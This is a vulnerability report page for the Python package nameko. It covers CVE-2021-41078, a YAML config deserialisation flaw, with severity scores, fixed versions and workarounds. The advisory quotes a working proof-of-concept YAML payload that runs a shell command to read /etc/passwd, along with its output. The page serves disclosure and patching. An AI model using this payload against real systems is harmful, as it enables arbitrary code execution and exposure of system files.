pypi package report

Is nameko safe?

1 known vulnerability, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    1 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    No published models are known to use this package.


    cvss
    8.6
    high

    CVSS v3.1 base score out of 10; GitHub rates it CRITICAL

    epss
    1.5%
    medium

    chance of exploitation in 30 days, 75th percentile of all CVEs

    xyz score
    4.0
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-6p52-jr3q-c94g, the advisory selected below

    // 1 advisories

    GHSA-6p52-jr3q-c94g

    CRITICALGitHub ratingCVE-2021-41078
    // impact

    Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

    # malicious.yaml
    !!python/object/new:type
    args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
    listitems: "__import__('os').system('cat /etc/passwd')"
    $ nameko run --config malicious.yaml test
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    ... 
    // patches

    The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

    Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

    // workarounds

    The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

    // cvss v3.1 vector

    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

    Attack vector
    Local
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    Required
    Scope
    Changed
    Confidentiality
    High
    Integrity
    High
    Availability
    High

    Checked 2026-11-07 at 23:55 UTC. The most recent advisory here was published 2021-10-19. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.